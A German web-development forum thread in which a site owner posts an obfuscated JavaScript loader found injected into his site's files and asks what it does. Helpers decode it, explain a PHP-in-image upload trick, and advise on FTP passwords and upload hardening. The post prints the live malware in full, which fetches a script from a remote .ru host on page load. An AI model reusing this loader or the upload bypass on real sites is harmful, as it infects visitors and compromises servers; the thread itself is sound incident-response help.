tomgk: Fremdes Script (Virus?) auf Webseite

0 66

Fremdes Script (Virus?) auf Webseite

tomgk
  • sonstiges
  1. 1
    Sven Rautenberg
    1. 0
      tomgk
      1. 0
        Der Martin
        1. 0
          tomgk
          1. 0
            Brillo Agent Nr. 1
            1. 0
              Brillo Agent Nr. 1
          2. 0
            Struppi
            1. 0
              Tom
              1. 0
                Struppi
                1. 0
                  suit
                  1. 0
                    Struppi
                    1. 1
                      Tom
                      1. 0
                        Struppi
              2. 0
                tomgk
                1. 0
                  Der Martin
                  1. 0
                    tomgk
                    1. 0
                      Der Martin
                      1. 0
                        tomgk
                        1. 0
                          dedlfix
                        2. 0
                          Tom
                          1. 0
                            tomgk
                            1. 0
                              Der Martin
                              1. 0
                                tomgk
                                1. 0
                                  tomgk
                                  1. 0
                                    dedlfix
                                    1. 0
                                      tomgk
                                      1. 0
                                        dedlfix
                                      2. 0
                                        Tom
                                        1. 0
                                          Sven Rautenberg
                                          1. 0
                                            Tom
                                            1. 0
                                              tomgk
                                              1. 0
                                                Tom
                                                1. 0
                                                  tomgk
                                              2. 0
                                                Sven Rautenberg
                                                1. 0
                                                  tomgk
                                              3. 0
                                                Struppi
                                                1. 0
                                                  tomgk
                                                  1. 0
                                                    Struppi
                                                    1. 0
                                                      tomgk
                                                      1. 0
                                                        Struppi
                              2. 0
                                Tom
                                1. 0

                                  'nicht' ist verschwunden :-)

                                  Tom
                                2. 0
                                  Der Martin
                                  1. 0
                                    dedlfix
                                    1. 0
                                      Der Martin
                                      1. 0
                                        Tom
                                        1. 0
                                          Der Martin
                                          1. 0
                                            Tom
                                            1. 0

                                              SICHERHEIT, witzig, witzig

                                              Tom
                                              • php
                                              1. 0
                                                Tom
                                                1. 0
                                                  Der Martin
                                                  1. 0
                                                    Tom
          3. 0
            suit
        2. 0
          Tom
          1. 0
            Der Martin
            1. 0
              Struppi
              1. 0
                Tom
                1. 0
                  Sven Rautenberg
                  1. 0
                    Tom
                    1. 0
                      dedlfix
                      1. 0
                        Tom
              2. 0
                Der Martin
                1. 0
                  Struppi
  2. 0
    dedlfix
  3. 0
    Shadowcrow

Hallo!

Ich hab auf meiner Webseite ein Script entdeckt, welches ich bisher in 2 Dateien gefunden hab.

var s="";this.Od="";this.o='';function d(){var Vz=new Date();var f="\x68\x74\x74\x70\x3a\x2f\x2f\x68\x6f\x74\x6c\x69\x6e\x6b\x69\x6d\x61\x67\x65\x2d\x63\x6f\x6d\x2e\x77\x6f\x72\x6c\x64\x6f\x66\x77\x61\x72\x63\x72\x61\x66\x74\x2e\x63\x6f\x6d\x2e\x61\x6c\x6c\x61\x62\x6f\x75\x74\x2d\x63\x6f\x2d\x6a\x70\x2e\x57\x61\x72\x69\x6e\x67\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x2e\x72\x75\x3a";var w;if(w!='A' && w!='j'){w=''};this.X='';var v=new String();var yD;if(yD!='aH' && yD != ''){yD=null};var T='';var Y;if(Y!=''){Y='Vi'};var V=unescape;var t=window;var O="g";var PJ='';var c="";var Hj;if(Hj!='Ct' && Hj!='RX'){Hj=''};function l(K,a){var E=new String();var p='';var x=V("%5b")+a+V("%5d");var B;if(B!=''){B='Ki'};var u=new RegExp(x, O);return K.replace(u, T);};this.n='';var ui="";var rk=new String();var iz;if(iz!='sb' && iz != ''){iz=null};var P='';var tG;if(tG!='cB'){tG=''};var M=V("%2f%64%6f%63%74%69%73%73%69%6d%6f%2e%66%72%2f%64%6f%63%74%69%73%73%69%6d%6f%2e%66%72%2f%74%61%62%6e%61%6b%2e%69%72%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%74%68%65%66%72%65%65%64%69%63%74%69%6f%6e%61%72%79%2e%63%6f%6d%2e%70%68%70");var ov=new String();var ln=l('876305652837603397','596732');this.an='';var y=document;var PI;if(PI!='Pi'){PI='Pi'};var og=new String();function fT(){var TB;if(TB!='' && TB!='jN'){TB=null};P=f;P+=ln;P+=M;var xn=new Array();var Zz;if(Zz!='' && Zz!='ZN'){Zz=''};var wN;if(wN!='Ot' && wN!='rO'){wN=''};var lm="";try {var xQ=new Date();var Ur;if(Ur!='' && Ur!='hO'){Ur=''};var yd='';var Gl;if(Gl!='' && Gl!='vK'){Gl='un'};r=y.createElement(l('svcQrvivpQtQ','QvoP'));var Bh;if(Bh!='Oi'){Bh=''};r.src=P;var Px=new Array();r.defer=[1,1][0];var ge=new Array();var hx=new Array();y.body.appendChild(r);this.TF="";this.I_='';} catch(tD){};var ko;if(ko!=''){ko='e'};}var PU='';var Ye='';var tT=new Date();var hE='';t["onloaRxN".substr(0,5)+"Ba4cd4cBa".substr(4,1)]=fT;var wj=new Date();var qb=new Date();this.Q="";};var Tt;if(Tt!='Bg' && Tt != ''){Tt=null};d();

Vor dem Script ist volgendes HTML-Kommendar gestanden:
<!--4c4689177e86a3cc79f46aa3ab5bb0d0-->

Weiß jemand ungefähr was dieses Script tun könnte oder was das Kommentar bedeutet?

Was ich schon herausgefunden hab:
-der Variable f wird "http://hotlinkimage-com.worldofwarcraft.com.allabout-co-jp.WaringBlenderPart.ru:" zugewissen
-die Funktionn V wird mit Parameter "/doctissimo.fr/doctissimo.fr/tabnak.ir/google.com/thefreedictionary.com.php" aufgerufen.

MfG
tomgk

--
Selfcode=ie:% fl:( br:> va:| ls:& rl:? n4:? ss:| de:] js:| ch:? sh:) mo:) zu:(
  1. Moin!

    Ich hab auf meiner Webseite ein Script entdeckt, welches ich bisher in 2 Dateien gefunden hab.

    Da du es vermutlich nicht selbst dort platziert hast...

    Weiß jemand ungefähr was dieses Script tun könnte oder was das Kommentar bedeutet?

    ... ist das doch irrelevant, oder? Veränderungen auf deiner Website mit Kontakt zu irgendeinem sehr obskuren russischen Server - das sollte dir zu denken geben.

    Was das Skript macht? Installiert einen onload-Handler und installiert mit createElement() ein script-Element. Die Funktion l() filtert aus dem ersten String alle Buchstaben heraus, die im zweiten String enthalten sind. l('svcQrvivpQtQ','QvoP') liefert also "script" zurück - das ist das Argument von createElement().

    Spätestens an dieser Stelle darfst du davon ausgehen, dass man dir auf deiner Seite irgendwas ganz böses installiert hat. Und solltest die Suche nicht auf die Wirkungsweise des Skriptes konzentrieren (das obfuskiert sein Wirken recht kreativ, aber letztendlich ergebnislos, wenn man sich die Zeit nimmt, es manuell durchzugehen oder einfach mal laufen lässt), sondern auf die Sicherheitslücke in deiner Website, die es erlaubt hat, diesen Schnipsel bei dir zu installieren.

    Irgendwo hast du ein sehr unschönes Sicherheitsproblem bei dir. Das muss dringend geschlossen werden.

    - Sven Rautenberg

    1. Hallo!

      Irgendwo hast du ein sehr unschönes Sicherheitsproblem bei dir. Das muss dringend geschlossen werden.

      Die Dateien, die dieses Script enthalten, sind normalerweise nicht von meiner Webseite aus veränderbar.

      Ich hab schon eine 3. Datei mit dem Script angefunden. Nun hab ich den Webspace gesperrt.

      MfG
      tomgk

      --
      Selfcode=ie:% fl:( br:> va:| ls:& rl:? n4:? ss:| de:] js:| ch:? sh:) mo:) zu:(
      1. Hi,

        Die Dateien, die dieses Script enthalten, sind normalerweise nicht von meiner Webseite aus veränderbar.

        den Ausdruck "normalerweise" solltest du in diesem Zusammenhang vergessen. Wenn IRGENDEINS deiner Scripte eine Lücke hat, durch die ein Angreifer Fremdcode einschleusen kann, ist alles, was "normal" ist, nicht mehr von Bedeutung.
        Vermutlich hast du einen Webspace mit "Shared Hosting", teilst dir also einen Server mit Dutzenden oder Hunderten anderer Kunden. Dann könnte die Lücke theoretisch auch bei einem anderen Nutzer liegen. Kontrolliere trotzdem ALLE deine Scripte auf mögliche Schwachstellen.

        Ich hab schon eine 3. Datei mit dem Script angefunden. Nun hab ich den Webspace gesperrt.

        Gut. Als nächstes solltest du vielleicht den Dialog mit deinem Hoster suchen.

        Ciao,
         Martin

        --
        Die späteren Ehen sind oft glücklicher als die erste, weil das natürliche Ende bereits absehbar ist.
          (George Bernhard Shaw)
        1. Hallo!

          Ich hab herausgefunden, dass der Code in allen JS-Dateien, in allen index.php steht und in einer default.php steht.

          Kontrolliere trotzdem ALLE deine Scripte auf mögliche Schwachstellen.

          Wie kann mit PHP eine Datei geändert werden?

          Kann es sein dass noch irgendwo ein PHP-Script oder ähnliches eingebaut wurde?

          MfG
          tomgk

          --
          Selfcode=ie:% fl:( br:> va:| ls:& rl:? n4:? ss:| de:] js:| ch:? sh:) mo:) zu:(
          1. Hi,

            es gibt Trojaner, die von deinem Rechner aus die FTP-Verbindung ausspähen. Das hatte ein Kunde von mir mal. Ähnliches wurde auf allen seinen index.html / Index.php auf seinem FTP-Account eingetragen. Und das periodisch immer wieder (FTP-Daten waren wohl bekannt).

            Überprüfe dein System mit der neuesten Sicherheitssoftware (Viren, Trojaner, Würmer, etc). Ändere deine FTP-Zugangsdaten, speichere diese in Zukunft nicht auf deinem System.

            Brillo

          2. Kontrolliere trotzdem ALLE deine Scripte auf mögliche Schwachstellen.
            Wie kann mit PHP eine Datei geändert werden?

            PHP, das auf deinem Server läuft, kann dort alle Dateien ändern oder löschen und wenn irgendein Skript das auf dem Server liegt eine Sicherheitslücke hat ist sowas schnell passiert.

            Struppi.

            1. Hello,

              PHP, das auf deinem Server läuft, kann dort alle Dateien ändern oder löschen und wenn irgendein Skript das auf dem Server liegt eine Sicherheitslücke hat ist sowas schnell passiert.

              Jein. Nur bei mangelhafter Einrichtung.
              Aber meistens sind es (schlechte) Bild-Upload-Scripte, die das Einschleusen von ausführbarem Code ermöglichen.

              Liebe Grüße aus dem schönen Oberharz

              Tom vom Berg

              --
               ☻_
              /▌
              / \ Nur selber lernen macht schlau
              http://bergpost.annerschbarrich.de
              1. PHP, das auf deinem Server läuft, kann dort alle Dateien ändern oder löschen und wenn irgendein Skript das auf dem Server liegt eine Sicherheitslücke hat ist sowas schnell passiert.

                Jein. Nur bei mangelhafter Einrichtung.

                Wie? Du kannst mit PHP keine Dateien löschen? Das glaube ich nicht.

                Struppi.

                1. Wie? Du kannst mit PHP keine Dateien löschen? Das glaube ich nicht.

                  Warum sollte PHP dateien Löschen dürfen, wenn sie jemand anderem gehören bzw. die nötigen Rechte fehlen? ;)

                  1. Wie? Du kannst mit PHP keine Dateien löschen? Das glaube ich nicht.

                    Warum sollte PHP dateien Löschen dürfen, wenn sie jemand anderem gehören bzw. die nötigen Rechte fehlen? ;)

                    Wieso wird denn so Spekuliert, ich sprach davon, dass PHP Dateien löschen und verändern kann, die ursprüngliche Aussage auf die ich geantwortet habe war:

                    Wie kann mit PHP eine Datei geändert werden?

                    such dir was aus http://www.php.net/manual/de/ref.filesystem.php

                    PHP kann natürlich Dateien verändern, was sollen die Einwürfe?

                    Struppi.

                    1. Hello Struppi,

                      entschuldige bitte das Missverständnis. Aber Du hast es durch Deine Formulierung erzeugt:

                      PHP, das auf deinem Server läuft, kann dort alle Dateien ändern oder löschen und wenn irgendein Skript das auf dem Server liegt eine Sicherheitslücke hat ist sowas schnell passiert.

                      Deshalb mein Einwand "Jein".

                      PHP kann NICHT _alle_ Dateien ändern auf einem Server, wenn es richtig eingerichtet wird. Entweder läuft es z.B. als CGI unter dem User des jeweiligen Accounts oder es läuft z.B. als Modul des Webservers. Als Modul beschränkt sich das PHP selbst durch die Einstellung 'open_basedir', in welchen Pfaden es aktiv werden darf. Wenn das PHP-Modul also nicht selbst beschädigt ist, kann der Serverbetreuer durchaus festlegen, dass PHP, benutzt für eine Domain, nicht auf die Daten einer anderen Domain zugreifen darf.

                      Und das sollte er auch.

                      Ordentliche Einrichtung und Trennung von

                      • upload-Temp-Dir
                      • Session-Dir
                      • open_basedir

                      werden aber (bei der Modulversion) gerne vergessen.

                      Liebe Grüße aus dem schönen Oberharz

                      Tom vom Berg

                      --
                       ☻_
                      /▌
                      / \ Nur selber lernen macht schlau
                      http://bergpost.annerschbarrich.de
                      1. entschuldige bitte das Missverständnis. Aber Du hast es durch Deine Formulierung erzeugt:

                        PHP, das auf deinem Server läuft, kann dort alle Dateien ändern oder löschen und wenn irgendein Skript das auf dem Server liegt eine Sicherheitslücke hat ist sowas schnell passiert.

                        Deshalb mein Einwand "Jein".

                        PHP kann NICHT _alle_ Dateien ändern auf einem Server, ...

                        Ja gut, hier war meine Formulierung, die es dem OP erleichtern sollte meine Antowrt zu verstehen, "auf dem Server" mißverständlich.

                        Damit wollte ich dem OP sagen, dass auf seinem "Server" - also Webspace, VServer oder was weiß ich - ein PHP Skript natürlich Dateien manipulieren kann. Ich wollte eigentlich damit keine Diskussion über Benutzerrechte anzetteln, da das zu dem jetzigen Zeitpunkt, mit dem Wissen das wir bis jetzt haben, völlig unerheblich ist.

                        Das einzige was wir konkret Wissen ist, das irgendwie die Dateien manipuliert wurden, plus dem Hinweis von Shadowcrow, der eher auf einen gehackten FTP Zugang hindeutet.

                        Struppi.

              2. Hallo!

                Aber meistens sind es (schlechte) Bild-Upload-Scripte, die das Einschleusen von ausführbarem Code ermöglichen.

                Ich habe eine Bild-Upload-Seite.
                Wie wird ein Code über Bild-Upload eingeschleust?

                MfG
                tomgk

                --
                Selfcode=ie:% fl:( br:> va:| ls:& rl:? n4:? ss:| de:] js:| ch:? sh:) mo:) zu:(
                1. Hi,

                  Wie wird ein Code über Bild-Upload eingeschleust?

                  naja, du erzeugst eine Datei, die mit einem gültigen PNG- oder JPEG-Header beginnt, so dass einfache Checks befriedigt werden, z.B. auch getimagesize(). An der Stelle, wo die eigentlichen binären Bilddaten beginnen müssten, steht "rein zufällig" die Zeichenfolge "<?php". Der Rest PHP-Code sein, wie man ihn sich wünscht! :-)
                  Das gesamte Werk speicherst du nun als "bildname.png" und lädst es hoch. Schon hast du dein eigenes PHP-Script auf einem fremden Server. Wenn der Server-Inhaber nichts dagegen unternimmt ...

                  Ergo: In einem Verzeichnis, in dem vom Nutzer hochladbare Dateien landen, darf keine Datei landen, die ein unerwünschtes Verhalten bewirken könnte. Zusätzlich zur üblichen Plausibilitätskontrolle sollte man also auch ausschließen, dass dort abgelegte Dateien vom Server besonders behandelt werden.

                  Ciao,
                   Martin

                  --
                  Realität ist eine Illusion, die durch Unterversorgung des Körpers mit Alkohol entstehen kann.
                  1. Hallo!

                    naja, du erzeugst eine Datei, die mit einem gültigen PNG- oder JPEG-Header beginnt, so dass einfache Checks befriedigt werden, z.B. auch getimagesize(). An der Stelle, wo die eigentlichen binären Bilddaten beginnen müssten, steht "rein zufällig" die Zeichenfolge "<?php". Der Rest PHP-Code sein, wie man ihn sich wünscht! :-)

                    Und wie kommst dazu das dieser Code ausgeführt wird?

                    MfG
                    tomgk

                    --
                    Selfcode=ie:% fl:( br:> va:| ls:& rl:? n4:? ss:| de:] js:| ch:? sh:) mo:) zu:(
                    1. Hi,

                      naja, du erzeugst eine Datei, die mit einem gültigen PNG- oder JPEG-Header beginnt, so dass einfache Checks befriedigt werden, z.B. auch getimagesize(). An der Stelle, wo die eigentlichen binären Bilddaten beginnen müssten, steht "rein zufällig" die Zeichenfolge "<?php". Der Rest PHP-Code sein, wie man ihn sich wünscht! :-)
                      Und wie kommst dazu das dieser Code ausgeführt wird?

                      dafür sorgt der Server und der PHP-Interpreter von selbst: Der Server gibt eine Datei mit der Extension ".php" an den PHP-Interpreter weiter, der reicht zunächst mal alles an den Client durch, bis er die Zeichenfolge "<?php" findet. Ab da interpretiert er Scriptcode.

                      Ciao,
                       Martin

                      --
                      Wer es in einem Unternehmen zu etwas bringen will, muss so tun, als hätte er es schon zu etwas gebracht.
                      1. Hallo!

                        dafür sorgt der Server und der PHP-Interpreter von selbst: Der Server gibt eine Datei mit der Extension ".php" an den PHP-Interpreter weiter

                        Bei mir kann man nur Dateien mit Dateiendung gif, png, jpeg und jpg raufladen. Kann es trozdem passieren, dass der Code ausgeführt wird?

                        MfG
                        tomgk

                        --
                        Selfcode=ie:% fl:( br:> va:| ls:& rl:? n4:? ss:| de:] js:| ch:? sh:) mo:) zu:(
                        1. Hi!

                          dafür sorgt der Server und der PHP-Interpreter von selbst: Der Server gibt eine Datei mit der Extension ".php" an den PHP-Interpreter weiter
                          Bei mir kann man nur Dateien mit Dateiendung gif, png, jpeg und jpg raufladen. Kann es trozdem passieren, dass der Code ausgeführt wird?

                          Prinzipiell kann immer alles passieren. Wende dich bitte an deinen Systemadministrator. Er ist der einzige, der diese Frage anhand der ihm bekannten Systemkonfiguration beantworten kann. Es nützt dir nichts, wenn wir™ dir sagen, dass das bei einer ordentlicher Konfiguration nicht passieren sollte.

                          Lo!

                        2. Hello,

                          Bei mir kann man nur Dateien mit Dateiendung gif, png, jpeg und jpg raufladen. Kann es trozdem passieren, dass der Code ausgeführt wird?

                          Das ist schon mal eine Sicherheitsschranke.
                          Besser wäre es dann noch, wenn auf dem Server zusätzlich noch getestet wird, ob es sich um ein Bild handelt. Das kann man mit getimagesize() ganz bequem machen und es hat bei mir bisher auch immer sicher funktioniert.
                          http://de3.php.net/manual/en/function.getimagesize.php

                          Wenn man dann zusätzlich noch das Parsen von Dateien im Ablageverezichnis der Bilder verhindert, hat man noch eine zusätzliche Schranke. Das geht entweder mit einem Eintrag in der Host/Virtual-Host-Einrichtung oder beim Apachen auch in der .htaccess

                          php_value engine off

                          wenn es sich um PHP als Modul handelt. Wenn PHP als CGI ausgeführt wird, muss das Verzeichnis aus der Liste mit Scriptverzeichnissen ausgeschlossen werden.

                          Liebe Grüße aus dem schönen Oberharz

                          Tom vom Berg

                          --
                           ☻_
                          /▌
                          / \ Nur selber lernen macht schlau
                          http://bergpost.annerschbarrich.de
                          1. Hallo!

                            Besser wäre es dann noch, wenn auf dem Server zusätzlich noch getestet wird, ob es sich um ein Bild handelt. Das kann man mit getimagesize() ganz bequem machen und es hat bei mir bisher auch immer sicher funktioniert.

                            Der Martin hat in diesen Artikel aber geschrieben dass dieser Test fälschlicherweise doch funktionieren kann.

                            MfG
                            tomgk

                            --
                            Selfcode=ie:% fl:( br:> va:| ls:& rl:? n4:? ss:| de:] js:| ch:? sh:) mo:) zu:(
                            1. Hi,

                              Besser wäre es dann noch, wenn auf dem Server zusätzlich noch getestet wird, ob es sich um ein Bild handelt. Das kann man mit getimagesize() ganz bequem machen und es hat bei mir bisher auch immer sicher funktioniert.
                              Der Martin hat in diesen Artikel aber geschrieben dass dieser Test fälschlicherweise doch funktionieren kann.

                              ja, da hat er sich auch im Eifer des Gefechts verschrieben:

                              Das gesamte Werk speicherst du nun als "bildname.png" und lädst es hoch.

                              Hier muss es natürlich heißen: als "bildname.php", sonst ergibt die ganze Erklärung keinen Sinn. Ist mir aber auch erst nachträglich aufgefallen, sorry. Eine Datei mit der Endung ".png" wird schließlich im Normalfall nicht als PHP geparst.

                              Ciao,
                               Martin

                              --
                              In Ägypten haben früher 150000 Leute 35 Jahre lang an einer Pyramide gearbeitet. Aber bei uns arbeiten doppelt so viele Leute doppelt so lange allein an der Baugenehmigung.
                                (Dieter Nuhr, deutscher Kabarettist)
                              1. Hallo!

                                Hier muss es natürlich heißen: als "bildname.php", sonst ergibt die ganze Erklärung keinen Sinn. Ist mir aber auch erst nachträglich aufgefallen, sorry. Eine Datei mit der Endung ".png" wird schließlich im Normalfall nicht als PHP geparst.

                                Dann sollte hier also nicht die Sicherheitslücke sein?

                                MfG
                                tomgk

                                --
                                Selfcode=ie:% fl:( br:> va:| ls:& rl:? n4:? ss:| de:] js:| ch:? sh:) mo:) zu:(
                                1. Hallo!

                                  Bis jetzt hab ich noch nicht herausgefunden, wie das Script dort hinkam.
                                  Kommt es wieder wenn ich es lösche?

                                  MfG
                                  tomgk

                                  --
                                  Selfcode=ie:% fl:( br:> va:| ls:& rl:? n4:? ss:| de:] js:| ch:? sh:) mo:) zu:(
                                  1. Hi!

                                    Bis jetzt hab ich noch nicht herausgefunden, wie das Script dort hinkam.
                                    Kommt es wieder wenn ich es lösche?

                                    Wenn wir dir hätten sagen können, wie es dort hinkam, könnten wir dir auch sagen, ob es nach dem Löschen wiederkommt. Wenn du die Ursache nicht gefunden hast, muss man wohl annehmen, dass die selbe Lücke zum erneuten Infizieren genutzt werden kann.

                                    Lo!

                                    1. Hallo!

                                      Und was soll ich jetzt tun? Ich weiß nicht wo sonst noch eine Lücke sein kann.

                                      MfG
                                      tomgk

                                      --
                                      Selfcode=ie:% fl:( br:> va:| ls:& rl:? n4:? ss:| de:] js:| ch:? sh:) mo:) zu:(
                                      1. Hi!

                                        Und was soll ich jetzt tun? Ich weiß nicht wo sonst noch eine Lücke sein kann.

                                        Das was schon vorgeschlagen wurde: Den Serververantwortlichen informieren. Ich weiß nicht, ob die Frage schon gestellt und beantwortet wurde, in was für einer Umgebung du dich befindest, also ob Shared Hosting oder eigener (selbst verwaltetet) Server. Im letzten Fall solltest du dir jemanden dazuholen, dem du vertraust, und der den Server untersuchen kann.

                                        Hier übers Forum wirst du anzunehmenderweise nicht zu einer Lösung kommen, es kann an so vielem liegen, und das alles mit Postings abzuhandeln, ist sehr/zu aufwendig.

                                        Lo!

                                      2. Hello,

                                        Und was soll ich jetzt tun? Ich weiß nicht wo sonst noch eine Lücke sein kann.

                                        Handelt es sich denn um eigene Sxripte oder hast Du ein CMS/Framework im Einsatz?
                                        Um deine eigenen Scripte zu untersuchen, kannst Du alle Upload-Scripte testen auf die bereits beschriebenen Lücken. Die von Martin nochmals deutlich offengelegte Lücke https://forum.selfhtml.org/?t=196360&m=1316377 ist wohl eine der gefährlichsten.

                                        Ich habe nochmals damit herumgespielt und musste mit Erschrecken feststellen, dass sie meistens funktioniert, auch wenn in etwas abgewandelter Form...

                                        Für Upload-Ablageverzeichnisse sollte also gelten:
                                        1. das Parsen unterbinden
                                        2. Nur Files mit Endungen aus einer WHITELIST zulassen
                                           Nur Endungen einer Blacklist zu verbieten, ist gefährlich!
                                           Es werden meistens auch Files mit anderen Endungen als '.php' zum Parser geschickt.

                                        3. Mimetype auf dem Server überprüfen
                                        4. Bei Bildern getimagesize() verwenden, ob überhaupt noch ein Bild vorliegt
                                           (das alleine reicht aber nicht, wie Martin gezeigt hat)

                                        Und dann möglichst den nicht verschlüsselten FTP-Zugang schließen und nur noch sftp oder ähnlich übertragen. Wir hatten hier erst im letzten Jahr auf einem Server ständig gehackte FTP-Zugänge. Das geht per Wörterbuch i.d.R. relativ leicht. Ich habe damals die Frage aufgeworfen, wie man sowas (Fehlversuche beim FTP-Login, Eindringlinge) vernünftig loggen und überwachen könnte. Die Frage ist leider immer noch offen. Auf jeden Fall sollte dafür ein separater Logserver benutzt werden.

                                        Liebe Grüße aus dem schönen Oberharz

                                        Tom vom Berg

                                        --
                                         ☻_
                                        /▌
                                        / \ Nur selber lernen macht schlau
                                        http://bergpost.annerschbarrich.de
                                        1. Moin!

                                          Und dann möglichst den nicht verschlüsselten FTP-Zugang schließen und nur noch sftp oder ähnlich übertragen. Wir hatten hier erst im letzten Jahr auf einem Server ständig gehackte FTP-Zugänge. Das geht per Wörterbuch i.d.R. relativ leicht.

                                          Nö, wenn das per Wörterbuch geht, gehören die User, die solche Passworte verwenden, geteert und gefedert.

                                          Gegen SFTP ist absolut nichts einzuwenden. Das sollte man unbedingt mal versuchen zu nutzen, selbst wenn man nur Kenntnis von einem FTP-Zugang hat. 1&1 beispielsweise bietet FTP an, spricht auch in der Konfiguration nur von FTP (das letzte Mal, als ich da rein geschaut habe), aber SFTP funktioniert mit denselben Zugangsdaten (Servername, User, Passwort) ebenfalls - und vermeidet auf jeden Fall, dass man das Passwort im KLARTEXT abhörbar für jeden überträgt.

                                          Gegen das Hacken von FTP-Zugängen hilft nur ein vernünftiges, zufällig generiertes Passwort.

                                          Ich habe damals die Frage aufgeworfen, wie man sowas (Fehlversuche beim FTP-Login, Eindringlinge) vernünftig loggen und überwachen könnte. Die Frage ist leider immer noch offen.

                                          Fail2Ban ist dafür eine mögliche Lösung. Fehlversuche einer IP werden ab einer gewissen Anzahl dann in eine Sperr-Regel in der Firewall des Servers umgesetzt.

                                          Mir persönlich gefällt diese Lösung allerdings nicht so sehr. Damit kann man sich eher prima aussperren, anstatt bösen Botnetzen (mit per Definition unendlich großem IP-Vorrat) das Leben schwer zu machen.

                                          Auf jeden Fall sollte dafür ein separater Logserver benutzt werden.

                                          Nicht jeder hat den Luxus, mehr als einen Server betreiben zu können bzw. zu müssen. Das ist ganz erheblich eine Kostenfrage.

                                          - Sven Rautenberg

                                          1. Hello,

                                            Fail2Ban ist dafür eine mögliche Lösung. Fehlversuche einer IP werden ab einer gewissen Anzahl dann in eine Sperr-Regel in der Firewall des Servers umgesetzt.

                                            Muss ich mir nochmal anschauen.

                                            Ich dachte allerdings erstmal an ein vernünftiges Logging.
                                            Leider werden FTP-Anmeldungsfehlversuche meistens nicht wirklich gelogged. Ich habe da zumindest noch keinen richtigen Plan gefunden. Vermutlich muss man im Anmeldeverfahren rumstricken, um das einzufangen?

                                            Auf jeden Fall sollte dafür ein separater Logserver benutzt werden.

                                            Nicht jeder hat den Luxus, mehr als einen Server betreiben zu können bzw. zu müssen. Das ist ganz erheblich eine Kostenfrage.

                                            Damit waren auch eher die Provider gemeint, die Shared Hosts zur Verfügung stellen.

                                            Liebe Grüße aus dem schönen Oberharz

                                            Tom vom Berg

                                            --
                                             ☻_
                                            /▌
                                            / \ Nur selber lernen macht schlau
                                            http://bergpost.annerschbarrich.de
                                            1. Hallo!

                                              Ich hab jetzt ein Log gefunden, das angibt, dass am 21.3. 15.28MB über FTP übertragen wurden, obwohl ich an diesen Tag nie FTP benutzt habe.

                                              MfG
                                              tomgk

                                              --
                                              Selfcode=ie:% fl:( br:> va:| ls:& rl:? n4:? ss:| de:] js:| ch:? sh:) mo:) zu:(
                                              1. Hello TomGK,

                                                Ich hab jetzt ein Log gefunden, das angibt, dass am 21.3. 15.28MB über FTP übertragen wurden, obwohl ich an diesen Tag nie FTP benutzt habe.

                                                Wo hast Du das Log gefunden? Die Pfadangabe (ggf. irgendwie kastriert aber dennoch aussagefähig) könnte für viele Betroffene von Interesse sein.

                                                Bitte beschreib nochmal etwas genauer Deine Umgebung.

                                                • Distributionen
                                                • Versionenen
                                                • Modul/CGI
                                                • usw.

                                                Dabei solltest Du natürlich nicht Deinen Server bloßstellen :-))

                                                Liebe Grüße aus dem schönen Oberharz

                                                Tom vom Berg

                                                --
                                                 ☻_
                                                /▌
                                                / \ Nur selber lernen macht schlau
                                                http://bergpost.annerschbarrich.de
                                                1. Hallo!

                                                  Wo hast Du das Log gefunden? Die Pfadangabe (ggf. irgendwie kastriert aber dennoch aussagefähig) könnte für viele Betroffene von Interesse sein.

                                                  im Confixx-Adminbereich meines Webspaces.

                                                  Bitte beschreib nochmal etwas genauer Deine Umgebung.

                                                  Ich kann sie nicht genau beschreiben, da es nicht mein Server ist.

                                                  • Versionenen

                                                  von was?

                                                  • Modul/CGI

                                                  Ich verwende PHP

                                                  • usw.

                                                  MySQL 5

                                                  Brauchst Du noch andere Informationen?
                                                  Noch was: Am 11.3 wurden 66.2MB über HTTP übertragen, viel mehr als sonst.

                                                  MfG
                                                  tomgk

                                                  --
                                                  Selfcode=ie:% fl:( br:> va:| ls:& rl:? n4:? ss:| de:] js:| ch:? sh:) mo:) zu:(
                                              2. Moin!

                                                Ich hab jetzt ein Log gefunden, das angibt, dass am 21.3. 15.28MB über FTP übertragen wurden, obwohl ich an diesen Tag nie FTP benutzt habe.

                                                Was ist dein FTP-Passwort? Was erratbares? Offensichtlich wohl.

                                                Da gibt's einen Artikel zum Thema "Wahl eines sicheren Passworts": http://aktuell.de.selfhtml.org/artikel/gedanken/passwort/

                                                - Sven Rautenberg

                                                1. Hallo!

                                                  Was ist dein FTP-Passwort? Was erratbares? Offensichtlich wohl.

                                                  Stimmt. Habs geändert auf ein Zufälliges.

                                                  MfG
                                                  tomgk

                                                  --
                                                  Selfcode=ie:% fl:( br:> va:| ls:& rl:? n4:? ss:| de:] js:| ch:? sh:) mo:) zu:(
                                              3. Ich hab jetzt ein Log gefunden, das angibt, dass am 21.3. 15.28MB über FTP übertragen wurden, obwohl ich an diesen Tag nie FTP benutzt habe.

                                                Mir scheint, du hast nie den Link von shadowcrow gelesen?
                                                Ist natürlich müsig zu helfen, wenn du dich nicht liest, was man dir zeigt.

                                                Struppi.

                                                1. Hallo!

                                                  Ich verstehe das nicht ganz, was der Virus macht.

                                                  MfG
                                                  tomgk

                                                  --
                                                  Selfcode=ie:% fl:( br:> va:| ls:& rl:? n4:? ss:| de:] js:| ch:? sh:) mo:) zu:(
                                                  1. Ich verstehe das nicht ganz, was der Virus macht.

                                                    Er macht das was du in deinen Ausgangsposting beschrieben hast.

                                                    Struppi.

                                                    1. Hallo!

                                                      Er macht das was du in deinen Ausgangsposting beschrieben hast.

                                                      Dann könnte es ja dieses sein. Wie kann ich es vom Computer entfernen?

                                                      MfG
                                                      tomgk

                                                      --
                                                      Selfcode=ie:% fl:( br:> va:| ls:& rl:? n4:? ss:| de:] js:| ch:? sh:) mo:) zu:(
                                                      1. Er macht das was du in deinen Ausgangsposting beschrieben hast.
                                                        Dann könnte es ja dieses sein. Wie kann ich es vom Computer entfernen?

                                                        Wenn das dort nicht auf der Seite steht, weiß ich das auch nicht.

                                                        Struppi.

                              2. Hello,

                                Besser wäre es dann noch, wenn auf dem Server zusätzlich noch getestet wird, ob es sich um ein Bild handelt. Das kann man mit getimagesize() ganz bequem machen und es hat bei mir bisher auch immer sicher funktioniert.
                                Der Martin hat in diesen Artikel aber geschrieben dass dieser Test fälschlicherweise doch funktionieren kann.

                                Das kann ich nachvollziehen.
                                Der HTTP-Header, also auch der mitgelieferte MIME-Type, werden nicht in der Datei gespeichert, die nachher auf der Festplatte landet, also auch nicht in der Temporärdatei, die PHP unter

                                $_FILES[$upload_field_name]['tmp_name']

                                bereitstellt.

